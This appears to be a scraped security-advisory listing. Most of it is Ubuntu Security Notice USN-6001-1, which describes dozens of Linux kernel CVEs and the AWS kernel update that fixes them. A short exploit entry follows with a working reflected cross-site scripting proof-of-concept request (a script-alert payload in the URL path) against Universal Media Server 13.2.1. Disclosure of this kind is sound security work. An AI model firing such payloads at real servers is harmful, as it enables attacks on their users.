Lisa Aichele, and Thais Moreira Hamasaki discovered that the Spectre  
Variant 2 mitigations for AMD processors on Linux were insufficient in some  
situations. A local attacker could possibly use this to expose sensitive  
information. (CVE-2021-26401)

Jürgen Groß discovered that the Xen subsystem within the Linux kernel did  
not adequately limit the number of events driver domains (unprivileged PV  
backends) could send to other guest VMs. An attacker in a driver domain  
could use this to cause a denial of service in other guest VMs.  
(CVE-2021-28711, CVE-2021-28712, CVE-2021-28713)

Wolfgang Frisch discovered that the ext4 file system implementation in the  
Linux kernel contained an integer overflow when handling metadata inode  
extents. An attacker could use this to construct a malicious ext4 file  
system image that, when mounted, could cause a denial of service (system  
crash). (CVE-2021-3428)

It was discovered that the IEEE 802.15.4 wireless network subsystem in the  
Linux kernel did not properly handle certain error conditions, leading to a  
null pointer dereference vulnerability. A local attacker could possibly use  
this to cause a denial of service (system crash). (CVE-2021-3659)

It was discovered that the System V IPC implementation in the Linux kernel  
did not properly handle large shared memory counts. A local attacker could  
use this to cause a denial of service (memory exhaustion). (CVE-2021-3669)

Alois Wohlschlager discovered that the overlay file system in the Linux  
kernel did not restrict private clones in some situations. An attacker  
could use this to expose sensitive information. (CVE-2021-3732)

It was discovered that the SCTP protocol implementation in the Linux kernel  
did not properly verify VTAGs in some situations. A remote attacker could  
possibly use this to cause a denial of service (connection disassociation).  
(CVE-2021-3772)

It was discovered that the btrfs file system implementation in the Linux  
kernel did not properly handle locking in certain error conditions. A local  
attacker could use this to cause a denial of service (kernel deadlock).  
(CVE-2021-4149)

Jann Horn discovered that the socket subsystem in the Linux kernel  
contained a race condition when handling listen() and connect() operations,  
leading to a read-after-free vulnerability. A local attacker could use this  
to cause a denial of service (system crash) or possibly expose sensitive  
information. (CVE-2021-4203)

It was discovered that the file system quotas implementation in the Linux  
kernel did not properly validate the quota block number. An attacker could  
use this to construct a malicious file system image that, when mounted and  
operated on, could cause a denial of service (system crash).  
(CVE-2021-45868)

Zhihua Yao discovered that the MOXART SD/MMC driver in the Linux kernel did  
not properly handle device removal, leading to a use-after-free  
vulnerability. A physically proximate attacker could possibly use this to  
cause a denial of service (system crash). (CVE-2022-0487)

It was discovered that the block layer subsystem in the Linux kernel did  
not properly initialize memory in some situations. A privileged local  
attacker could use this to expose sensitive information (kernel memory).  
(CVE-2022-0494)

It was discovered that the UDF file system implementation in the Linux  
kernel could attempt to dereference a null pointer in some situations. An  
attacker could use this to construct a malicious UDF image that, when  
mounted and operated on, could cause a denial of service (system crash).  
(CVE-2022-0617)

David Bouman discovered that the netfilter subsystem in the Linux kernel  
did not initialize memory in some situations. A local attacker could use  
this to expose sensitive information (kernel memory). (CVE-2022-1016)

It was discovered that the implementation of the 6pack and mkiss protocols  
in the Linux kernel did not handle detach events properly in some  
situations, leading to a use-after-free vulnerability. A local attacker  
could possibly use this to cause a denial of service (system crash).  
(CVE-2022-1195)

Duoming Zhou discovered race conditions in the AX.25 amateur radio protocol  
implementation in the Linux kernel, leading to use-after-free  
vulnerabilities. A local attacker could possibly use this to cause a denial  
of service (system crash). (CVE-2022-1205)

It was discovered that the tty subsystem in the Linux kernel contained a  
race condition in certain situations, leading to an out-of-bounds read  
vulnerability. A local attacker could possibly use this to cause a denial  
of service (system crash) or expose sensitive information. (CVE-2022-1462)

It was discovered that the implementation of X.25 network protocols in the  
Linux kernel did not terminate link layer sessions properly. A local  
attacker could possibly use this to cause a denial of service (system  
crash). (CVE-2022-1516)

Duoming Zhou discovered a race condition in the NFC subsystem in the Linux  
kernel, leading to a use-after-free vulnerability. A privileged local  
attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2022-1974)

Duoming Zhou discovered that the NFC subsystem in the Linux kernel did not  
properly prevent context switches from occurring during certain atomic  
context operations. A privileged local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-1975)

It was discovered that the HID subsystem in the Linux kernel did not  
properly validate inputs in certain conditions. A local attacker with  
physical access could plug in a specially crafted USB device to expose  
sensitive information. (CVE-2022-20132)

It was discovered that the device-mapper verity (dm-verity) driver in the  
Linux kernel did not properly verify targets being loaded into the device-  
mapper table. A privileged attacker could use this to cause a denial of  
service (system crash) or possibly execute arbitrary code. (CVE-2022-20572,  
CVE-2022-2503)

Duoming Zhou discovered that race conditions existed in the timer handling  
implementation of the Linux kernel's Rose X.25 protocol layer, resulting in  
use-after-free vulnerabilities. A local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-2318)

Zheyu Ma discovered that the Silicon Motion SM712 framebuffer driver in the  
Linux kernel did not properly handle very small reads. A local attacker  
could use this to cause a denial of service (system crash). (CVE-2022-2380)

David Leadbeater discovered that the netfilter IRC protocol tracking  
implementation in the Linux Kernel incorrectly handled certain message  
payloads in some situations. A remote attacker could possibly use this to  
cause a denial of service or bypass firewall filtering. (CVE-2022-2663)

Lucas Leong discovered that the LightNVM subsystem in the Linux kernel did  
not properly handle data lengths in certain situations. A privileged  
attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2022-2991)

It was discovered that the Intel 740 frame buffer driver in the Linux  
kernel contained a divide by zero vulnerability. A local attacker could use  
this to cause a denial of service (system crash). (CVE-2022-3061)

Jiasheng Jiang discovered that the wm8350 charger driver in the Linux  
kernel did not properly deallocate memory, leading to a null pointer  
dereference vulnerability. A local attacker could use this to cause a  
denial of service (system crash). (CVE-2022-3111)

It was discovered that the sound subsystem in the Linux kernel contained a  
race condition in some situations. A local attacker could use this to cause  
a denial of service (system crash). (CVE-2022-3303)

It was discovered that the Broadcom FullMAC USB WiFi driver in the Linux  
kernel did not properly perform bounds checking in some situations. A  
physically proximate attacker could use this to craft a malicious USB  
device that when inserted, could cause a denial of service (system crash)  
or possibly execute arbitrary code. (CVE-2022-3628)

Ziming Zhang discovered that the VMware Virtual GPU DRM driver in the Linux  
kernel contained an out-of-bounds write vulnerability. A local attacker  
could use this to cause a denial of service (system crash).  
(CVE-2022-36280)

It was discovered that the NILFS2 file system implementation in the Linux  
kernel did not properly deallocate memory in certain error conditions. An  
attacker could use this to cause a denial of service (memory exhaustion).  
(CVE-2022-3646)

It was discovered that the Netlink Transformation (XFRM) subsystem in the  
Linux kernel contained a reference counting error. A local attacker could  
use this to cause a denial of service (system crash). (CVE-2022-36879)

It was discovered that the infrared transceiver USB driver did not properly  
handle USB control messages. A local attacker with physical access could  
plug in a specially crafted USB device to cause a denial of service (memory  
exhaustion). (CVE-2022-3903)

Jann Horn discovered a race condition existed in the Linux kernel when  
unmapping VMAs in certain situations, resulting in possible use-after-free  
vulnerabilities. A local attacker could possibly use this to cause a denial  
of service (system crash) or execute arbitrary code. (CVE-2022-39188)

Hyunwoo Kim discovered that the DVB Core driver in the Linux kernel did not  
properly perform reference counting in some situations, leading to a use-  
after-free vulnerability. A local attacker could use this to cause a denial  
of service (system crash) or possibly execute arbitrary code.  
(CVE-2022-41218)

It was discovered that a race condition existed in the SMSC UFX USB driver  
implementation in the Linux kernel, leading to a use-after-free  
vulnerability. A physically proximate attacker could use this to cause a  
denial of service (system crash) or possibly execute arbitrary code.  
(CVE-2022-41849)

It was discovered that a race condition existed in the Roccat HID driver in  
the Linux kernel, leading to a use-after-free vulnerability. A local  
attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2022-41850)

It was discovered that the USB core subsystem in the Linux kernel did not  
properly handle nested reset events. A local attacker with physical access  
could plug in a specially crafted USB device to cause a denial of service  
(kernel deadlock). (CVE-2022-4662)

It was discovered that the network queuing discipline implementation in the  
Linux kernel contained a null pointer dereference in some situations. A  
local attacker could use this to cause a denial of service (system crash).  
(CVE-2022-47929)

Kyle Zeng discovered that the IPv6 implementation in the Linux kernel  
contained a NULL pointer dereference vulnerability in certain situations. A  
local attacker could use this to cause a denial of service (system crash).  
(CVE-2023-0394)

It was discovered that a memory leak existed in the SCTP protocol  
implementation in the Linux kernel. A local attacker could use this to  
cause a denial of service (memory exhaustion). (CVE-2023-1074)

Mingi Cho discovered that the netfilter subsystem in the Linux kernel did  
not properly initialize a data structure, leading to a null pointer  
dereference vulnerability. An attacker could use this to cause a denial of  
service (system crash). (CVE-2023-1095)

Kyle Zeng discovered that the ATM VC queuing discipline implementation in  
the Linux kernel contained a type confusion vulnerability in some  
situations. An attacker could use this to cause a denial of service (system  
crash). (CVE-2023-23455)

Lianhui Tang discovered that the MPLS implementation in the Linux kernel  
did not properly handle certain sysctl allocation failure conditions,  
leading to a double-free vulnerability. An attacker could use this to cause  
a denial of service or possibly execute arbitrary code. (CVE-2023-26545)

It was discovered that the NTFS file system implementation in the Linux  
kernel did not properly validate attributes in certain situations, leading  
to an out-of-bounds read vulnerability. A local attacker could possibly use  
this to expose sensitive information (kernel memory). (CVE-2023-26607)

Duoming Zhou discovered that a race condition existed in the infrared  
receiver/transceiver driver in the Linux kernel, leading to a use-after-  
free vulnerability. A privileged attacker could use this to cause a denial  
of service (system crash) or possibly execute arbitrary code.  
(CVE-2023-1118)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 16.04 ESM:  
   linux-image-4.4.0-1155-aws      4.4.0-1155.170  
   linux-image-aws                 4.4.0.1155.159

After a standard system update you need to reboot your computer to make  
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have  
been given a new version number, which requires you to recompile and  
reinstall all third party kernel modules you might have installed.  
Unless you manually uninstalled the standard kernel metapackages  
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,  
linux-powerpc), a standard system upgrade will automatically perform  
this as well.

References:  
   https://ubuntu.com/security/notices/USN-6001-1  
   CVE-2020-36516, CVE-2021-26401, CVE-2021-28711, CVE-2021-28712,  
   CVE-2021-28713, CVE-2021-3428, CVE-2021-3659, CVE-2021-3669,  
   CVE-2021-3732, CVE-2021-3772, CVE-2021-4149, CVE-2021-4203,  
   CVE-2021-45868, CVE-2022-0487, CVE-2022-0494, CVE-2022-0617,  
   CVE-2022-1016, CVE-2022-1195, CVE-2022-1205, CVE-2022-1462,  
   CVE-2022-1516, CVE-2022-1974, CVE-2022-1975, CVE-2022-20132,  
   CVE-2022-20572, CVE-2022-2318, CVE-2022-2380, CVE-2022-2503,  
   CVE-2022-2663, CVE-2022-2991, CVE-2022-3061, CVE-2022-3111,  
   CVE-2022-3303, CVE-2022-3628, CVE-2022-36280, CVE-2022-3646,  
   CVE-2022-36879, CVE-2022-3903, CVE-2022-39188, CVE-2022-41218,  
   CVE-2022-41849, CVE-2022-41850, CVE-2022-4662, CVE-2022-47929,  
   CVE-2023-0394, CVE-2023-1074, CVE-2023-1095, CVE-2023-1118,  
   CVE-2023-23455, CVE-2023-26545, CVE-2023-26607

Ubuntu Security Notice USN-6001-1

Universal Media Server version 13.2.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Universal Media Server 13.2.1 Cross Site Scripting # Google Dork: NA# Date: 01/04/2023# Exploit Author: Yehia Elghaly - Mrvar0x# Vendor Homepage: https://www.universalmediaserver.com/# Software Link: https://www.universalmediaserver.com/download/# Version: 13.2.1# Tested on: Windows 7 / 10# CVE: N/ASummary: Universal Media Server is a free DLNA, UPnP and HTTP/S Media Server.Support all major operating systems, with versions for Windows, Linux and macOS.Description: The attacker can able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.: Reflected XSS found on the follwoing paths GET /%3Cscript%3Ealert('XSSYF')%3C/script%3E HTTP/1.1Host: 172.16.110.132:9001User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1[Affected Component]//about/accounts/actions/logs/player/settings/shared/v1/api/about/|echo

Universal Media Server 13.2.1 Cross Site Scripting

Unified Remote version 3.13.0 suffers from a remote code execution vulnerability.

Tag

#mac